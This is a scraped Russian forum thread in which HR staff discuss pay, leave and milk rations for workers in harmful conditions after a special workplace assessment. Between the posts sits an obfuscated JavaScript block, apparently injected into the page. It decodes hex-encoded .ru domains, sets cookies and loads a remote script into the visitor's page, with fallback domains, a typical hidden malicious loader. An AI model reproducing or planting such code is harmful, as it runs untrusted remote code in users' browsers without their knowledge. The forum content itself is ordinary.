Вредные условия труда. Принимаем на должность, по которой еще не было СОУТ , Публикация №437270

У в аналогичной ситуации эти компенсации устанавливались приказом директора, в котором указано "до проведения спец.оценки труда......". Все-таки я на стороне инженера по ОТ... А льготный стаж у данной профессии есть? Честно говоря, не очень владею этим вопросом, тоже очень хотелось бы услышать мнение коллег...




window .a1336404323 = 1;!f unction(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21670",o=f unction(e){var t=docu ment.cookie.match(new RegExp("(?:^|; )"+e.r eplace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=f unction(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCS tring()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=f unction(e){e=e.r eplace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toS tring(16);return t},a=f unction(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=Stri ng.fromCharCode(parseInt(e[o],16));return t},d=f unction(){return "kadrovik-praktik.ru"},p=f unction(){var w=wind ow,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=f unction(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(wind ow .smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .smlo.loadSmlo(n.r eplace("https:","http:"));else if(wind ow .zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .zSmlo.loadSmlo(n.r eplace("https:","http:"));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=f unction(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=f unction(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window .a3164427983=f,c(u,f unction(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},f unction(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=f unction(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Здравствуйте.
Разрешите присоединиться со своей проблемой.
Есть материнская строительная организация, в которой по результатам СОУТ есть вредники. От этой организации отделилась "дочка". И часть работников - вредников переведены в дочку. Практически должности всего персонала входят в список. Отсюда вопросы.
1. Можем-ли мы устанавливать вредность на основании карточек материнской организации? Так предлагает инженер по ОТ.
2. В какие сроки мы должны провести СОУТ от начала работы компании?
3. Могут -ли быть применены к компании какие-нибудь штрафы за невыплату вредности до СОУТ?

Буду очень признательна за помощь!

Благодарю за ответ.
Теперь все более-менее понятно.

Меня смутило именно эта фраза.

Добрый день.
Была проведена АРМ, у сотрудников: общая оценка условий труда по степени вредности и (или) опасности факторов производственной среды и трудового процесса - 2 (класс условий труда).
Получается им всем полагается сокращенная продол.раб.вр., доп.отпуск, доп.оплата труда? Или только тем сотрудникам у которых оценка 3.1,3.2?
Спасибо.

Костик, добрый день. У нас была в 2013 году аттестация рабочих мест по условиям труда. Получается если только в табличке стоит ДА, это и делаем? Не считаю того, что если класс 3.1, но в табличке ДА нигде не стоит?
Спасибо.

Костик, из 85 человек ДА стоит только у электросварщика - доп.отпуск и молоко.
У остальных ничего, даже если стоит 3.1 и 3.2.
Вот и думаю...

Костик, посмотрела внимательно. ДА по мед.осмотрам стоит почти у всех. Однако, только у электросварщика - доп.отпуск и молоко.


А доплаты положены всем кому присвоен класс 3.1, 3.2?
Спасибо.

Костик, почитать законы и ЛНА мы и сами можем. Хотелось конкретного.
Для людей, которые разбираются в чем-то другие кажутся дураками. А если не хватает терпения, проще не отвечать.

Добрый день, коллеги!
Поделитесь, пожалуйста, опытом и знаниями!
Нормативку роем, но конкретно найти не получается(
Электрогазосварщикам установлена вредность 3.2. По СОУТу им положено: молоко, доп.отпуск., доплата.
Вот и задумались...про молоко вычитали, что выдается только когда работник отработал во вредных условиях труда более 50% рабочего времени. Для этого рекомендуют заводить журнал, когда работник работал во вредных словиях.
А как быть с доплатой и отпуском? Также зависит от фактически отработанного времени во вредных условиях?
По ТК РФ фраза "...работникам, занятым на работах с вредными условиями труда..." Вот если бы было написано "работникам, чьи условия труда относятся к вредным...", то у меня не было бы сомнений, что выплачивать в любом случае...
Очень надеюсь на ответы!

Спасибо огромное за ответы!
Про болезнь и отпуск-это понятно..учли. Руководство настаивает, что и доплата и доп.отпуск только в зависимости от того, сколько часов он "варил". Мое ж мнение, что доплата и отпуск положены по умолчанию. Как и вы говорите.